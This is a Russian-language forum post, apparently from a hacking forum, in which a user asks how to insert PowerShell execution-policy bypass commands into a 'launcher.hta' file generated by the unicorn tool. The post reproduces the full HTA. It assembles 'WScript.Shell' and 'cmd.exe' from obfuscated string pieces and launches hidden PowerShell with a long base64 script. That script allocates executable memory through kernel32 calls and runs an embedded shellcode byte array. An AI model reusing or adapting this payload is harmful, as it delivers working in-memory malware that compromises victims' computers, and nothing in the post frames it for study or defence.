G
gravitywaves
x64 shell C:\Windows\syswow64\Windowspowershell\v1.0\powershell Set-ExecutionPolicy BYPASS
А этот код куда вписывать? в powershell исполняемый файл?[/B][/B] x32 shell C:\Windows\System32\WindowsPowerShell\v1.0\powershell Set-ExecutionPolicy BYPASS
Вот есть файл launcher.hta от unicorn'а, я насколько понял он криптован немного, в нём этот код вписать после "RdsbdhCowoygthnIJqa.run(" ?
Код:
<script>
ZHKBzCTkRgQQjQc = "WS";
IuyHxSSJazrET = "crip";
SDbnOJaHpCcm = "t.Sh";
LiCPliQIlfi = "ell";
IldWtaJzxjXA = (ZHKBzCTkRgQQjQc + IuyHxSSJazrET + SDbnOJaHpCcm + LiCPliQIlfi);
RdsbdhCowoygthnIJqa=new ActiveXObject(IldWtaJzxjXA);
uzbZRTiTKrBOmddtJoxuLNRhYYI = "cm";
UgAZvMvAIxmZVdq = "d.e";
rxROKfRJfwXefqhUaj = "xe";
zIIAGljUTFWqMU = (uzbZRTiTKrBOmddtJoxuLNRhYYI + UgAZvMvAIxmZVdq + rxROKfRJfwXefqhUaj);
RdsbdhCowoygthnIJqa.run('%windir%\\System32\\' + zIIAGljUTFWqMU + ' /c powershell -w 1 -C "s\'\'v ul -;s\'\'v mA e\'\'c;s\'\'v YD ((g\'\'v ul).value.toString()+(g\'\'v mA).value.toString());powershell (g\'\'v YD).value.toString() (\'JABXAFUAUwAgAD0AIAAnACQAVwBVACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQATQBMACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAVwBVACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAEEAcgAgAD0AIAAwAHgAZABhACwAMAB4AGMAMgAsADAAeABiADgALAAwAHgANwA5ACwAMAB4ADYAYgAsADAAeAA0AGIALAAwAHgAMAAzACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGIALAAwAHgAMgA5ACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANQBhACwAMAB4ADMAMQAsADAAeAA0ADMALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA0ADMALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAA5ADIALAAwAHgAOQA3ACwAMAB4AGEAOQAsADAAeABmADYALAAwAHgAOQA4ACwAMAB4ADgAMAAsADAAeABhAGMALAAwAHgAZgA5ACwAMAB4ADYAMAAsADAAeAA1ADEALAAwAHgAZAAxACwAMAB4ADcAMAAsADAAeAA4ADUALAAwAHgANgAwACwAMAB4AGQAMQAsADAAeABlADcALAAwAHgAYwBlACwAMAB4AGQAMwAsADAAeABlADEALAAwAHgANgBjACwAMAB4ADgAMgAsADAAeABkAGYALAAwAHgAOABhACwAMAB4ADIAMQAsADAAeAAzADYALAAwAHgANgBiACwAMAB4AGYAZQAsADAAeABlAGQALAAwAHgAMwA5ACwAMAB4AGQAYwAsADAAeABiADUALAAwAHgAYwBiACwAMAB4ADcANAAsADAAeABkAGQALAAwAHgAZQA2ACwAMAB4ADIAOAAsADAAeAAxADcALAAwAHgANQBkACwAMAB4AGYANQAsADAAeAA3AGMALAAwAHgAZgA3ACwAMAB4ADUAYwAsADAAeAAzADYALAAwAHgANwAxACwAMAB4AGYANgAsADAAeAA5ADkALAAwAHgAMgBiACwAMAB4ADcAOAAsADAAeABhAGEALAAwAHgANwAyACwAMAB4ADIANwAsADAAeAAyAGYALAAwAHgANQBhACwAMAB4AGYANgAsADAAeAA3AGQALAAwAHgAZQBjACwAMAB4AGQAMQAsADAAeAA0ADQALAAwAHgAOQAzACwAMAB4ADcANAAsADAAeAAwADYALAAwAHgAMQBjACwAMAB4ADkAMgAsADAAeAA1ADUALAAwAHgAOQA5ACwAMAB4ADEANgAsADAAeABjAGQALAAwAHgANwA1ACwAMAB4ADEAOAAsADAAeABmAGEALAAwAHgANgA1ACwAMAB4ADMAYwAsADAAeAAwADIALAAwAHgAMQBmACwAMAB4ADQAMwAsADAAeABmADYALAAwAHgAYgA5ACwAMAB4AGUAYgAsADAAeAAzAGYALAAwAHgAMAA5ACwAMAB4ADYAYgAsADAAeAAyADIALAAwAHgAYgBmACwAMAB4AGEANgAsADAAeAA1ADIALAAwAHgAOABhACwAMAB4ADMAMgAsADAAeABiADYALAAwAHgAOQAzACwAMAB4ADIAZAAsADAAeABhAGQALAAwAHgAYwBkACwAMAB4AGUAZAAsADAAeAA0AGQALAAwAHgANQAwACwAMAB4AGQANgAsADAAeAAyAGEALAAwAHgAMgBmACwAMAB4ADgAZQAsADAAeAA1ADMALAAwAHgAYQA4ACwAMAB4ADkANwAsADAAeAA0ADUALAAwAHgAYwAzACwAMAB4ADEANAAsADAAeAAyADkALAAwAHgAOAA5ACwAMAB4ADkAMgAsADAAeABkAGYALAAwAHgAMgA1ACwAMAB4ADYANgAsADAAeABkADAALAAwAHgAOAA3ACwAMAB4ADIAOQAsADAAeAA3ADkALAAwAHgAMwA1ACwAMAB4AGIAYwAsADAAeAA1ADYALAAwAHgAZgAyACwAMAB4AGIAOAAsADAAeAAxADIALAAwAHgAZABmACwAMAB4ADQAMAAsADAAeAA5AGYALAAwAHgAYgA2ACwAMAB4AGIAYgAsADAAeAAxADMALAAwAHgAYgBlACwAMAB4AGUAZgAsADAAeAA2ADEALAAwAHgAZgA1ACwAMAB4AGIAZgAsADAAeABlAGYALAAwAHgAYwA5ACwAMAB4AGEAYQAsADAAeAA2ADUALAAwAHgANgA0ACwAMAB4AGUANwAsADAAeABiAGYALAAwAHgAMQA3ACwAMAB4ADIANwAsADAAeAA2ADAALAAwAHgAMgBlACwAMAB4ADQAZAAsADAAeABhADMALAAwAHgANwAwACwAMAB4AGMANgAsADAAeABmAGEALAAwAHgAMgAyACwAMAB4ADEAZgAsADAAeAA3AGYALAAwAHgANQAxACwAMAB4AGQAYwAsADAAeAA5ADMALAAwAHgAMAA4ACwAMAB4ADcAZgAsADAAeAAxAGIALAAwAHgAZAAzACwAMAB4ADIAMgAsADAAeAA0AGUALAAwAHgAZgA4ACwAMAB4ADcAOAAsADAAeAA5AGUALAAwAHgAZQAyACwAMAB4AGEAZAAsADAAeAAyAGQALAAwAHgANAA4ACwAMAB4ADMAZgAsADAAeAAwADcALAAwAHgAYQBiACwAMAB4ADIAZgAsADAAeABjADAALAAwAHgANwAyACwAMAB4ADEAOAAsADAAeAA2ADMALAAwAHgANQA1ACwAMAB4ADcAZgAsADAAeABjAGMALAAwAHgAZAAwACwAMAB4AGMAMQAsADAAeABjADQALAAwAHgAZgAzACwAMAB4AGQANgAsADAAeAAxADEALAAwAHgAZAAyACwAMAB4ADYAYwAsADAAeABkADYALAAwAHgAMQAxACwAMAB4ADIAMgAsADAAeABhADIALAAwAHgAZQA2ACwAMAB4ADcAOQAsADAAeAAxAGIALAAwAHgAOAA0ACwAMAB4ADUAYQAsADAAeAA3AGEALAAwAHgAMABiACwAMAB4ADkAYwAsADAAeAAwAGQALAAwAHgAZgAzACwAMAB4ADMANAAsADAAeAA5AGEALAAwAHgANABkACwAMAB4AGQANgAsADAAeABjADMALAAwAHgAZQA1ACwAMAB4AGUAMQAsADAAeABiADEALAAwAHgAZAAzACwAMAB4AGQAYgAsADAAeABlADUALAAwAHgAYwA2ACwAMAB4ADgAMAAsADAAeAA\'+\'0ADgALAAwAHgAYgA1ACwAMAB4ADkAMQAsADAAeAA3ADUALAAwAHgAMwA5ACwAMAB4ADUAMQAsADAAeABmADUALAAwAHgAMgBjACwAMAB4AGUAYgAsADAAeAA5AGEALAAwAHgAZgA2ACwAMAB4ADEAYgAsADAAeAA2ADUALAAwAHgAYgA2ACwAMAB4ADAAMgAsADAAeABmAGMALAAwAHgAZQAyACwAMAB4AGMANwAsADAAeAAyADAALAAwAHgAMAAyACwAMAB4AGYAMwAsADAAeAA0AGUALAAwAHgAYQA2ACwAMAB4ADYAOAAsADAAeABmADcALAAwAHgAMAAwACwAMAB4ADQAZAAsADAAeAA3ADMALAAwAHgAYQAxACwAMAB4AGMAOAAsADAAeABlADQALAAwAHgAYwBkACwAMAB4AGQAMwAsADAAeAA4AGYALAAwAHgAZgA4ACwAMAB4ADAANAAsADAAeABiADgALAAwAHgAZABjACwAMAB4ADUANQAsADAAeABmADUALAAwAHgANgA5ACwAMAB4ADgAYgAsADAAeAA3ADQALAAwAHgAZgBmACwAMAB4ADgAZAAsADAAeAAzADAALAAwAHgANwA4ACwAMAB4ADIAYQAsADAAeAAyADgALAAwAHgAMAA2ACwAMAB4AGYAMwAsADAAeABjADIALAAwAHgANQBiACwAMAB4ADAAZgAsADAAeABlAGYALAAwAHgAZQBhACwAMAB4ADkAYgAsADAAeAA2ADcALAAwAHgANQA0ACwAMAB4ADEAYQAsADAAeABhAGUALAAwAHgAOQA3ACwAMAB4AGEAYgAsADAAeAAwAGYALAAwAHgAOQBlACwAMAB4ADIAMgAsADAAeAA5ADkALAAwAHgAYwA3ACwAMAB4AGQAMQAsADAAeAA3ADgALAAwAHgAOAAzACwAMAB4ADQAMQAsADAAeABlAGQALAAwAHgANQA2ACwAMAB4AGEAZQAsADAAeAAyAGQALAAwAHgANwA5ACwAMAB4ADUAOQAsADAAeAAzAGYALAAwAHgAYQBkACwAMAB4ADcAOQAsADAAeAAzADEALAAwAHgAMwBmACwAMAB4AGEAZAAsADAAeAAzADkALAAwAHgAYwAxACwAMAB4ADYAYwAsADAAeABjADUALAAwAHgAZQAxACwAMAB4ADYANQAsADAAeABjADEALAAwAHgAZgAwACwAMAB4AGUAZAAsADAAeABiADMALAAwAHgANwA1ACwAMAB4AGEAOQAsADAAeAA0ADIALAAwAHgAYgA1ACwAMAB4ADkAZAAsADAAeAAxAGEALAAwAHgAMABkACwAMAB4AGMANQAsADAAeAA0ADEALAAwAHgAYQA0ACwAMAB4AGMAZAAsADAAeAA5ADYALAAwAHgAZAA3ACwAMAB4AGMAYwAsADAAeABkAGYALAAwAHgAOABlACwAMAB4ADUAMQAsADAAeABlAGUALAAwAHgAMQBmACwAMAB4ADcAYgAsADAAeABlADQALAAwAHgAMgBlACwAMAB4AGEAYgAsADAAeAA0ADkALAAwAHgANgBjACwAMAB4AGEAOQAsADAAeAA1ADUALAAwAHgAOQAxACwAMAB4AGYANgAsADAAeAA3ADUALAAwAHgAMgAwACwAMAB4AGYAMAAsADAAeABhADEALAAwAHgAYgA2ACwAMAB4ADkANAAsADAAeAAxADIALAAwAHgAMwA4ACwAMAB4AGMANwAsADAAeABkADQALAAwAHgAMQBjACwAMAB4ADgAYQAsADAAeAAwAGUALAAwAHgAMQA5ACwAMAB4AGMAZAAsADAAeABkAGMALAAwAHgANAA2ACwAMAB4ADYANQAsADAAeAAzAGYALAAwAHgAMgBlACwAMAB4ADgAOAAsADAAeABhADEALAAwAHgAMABiACwAMAB4ADUAMAA7ACQAVgBnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAEEAcgAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABWAGcAIAA9ACAAJABBAHIALgBMAGUAbgBnAHQAaAB9ADsAJABTAHEAPQAkAE0ATAA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAFYAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAEYAcQA9ADAAOwAkAEYAcQAgAC0AbABlACAAKAAkAEEAcgAuAEwAZQBuAGcAdABoAC0AMQApADsAJABGAHEAKwArACkAIAB7ACQATQBMADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAUwBxAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAEYAcQApACwAIAAkAEEAcgBbACQARgBxAF0ALAAgADEAKQB9ADsAJABNAEwAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAFMAcQAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAKQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADYAMAB9ADsAJwA7ACQAVgBnAEgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAVwBVAFMAKQApADsAJABkAHgAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAQQBpACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAEEAaQAgACQAZAB4ACAAJABWAGcASAAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABkAHgAIAAkAFYAZwBIACIAOwB9AA\'+\'==\')"', 0);window.close();
</script>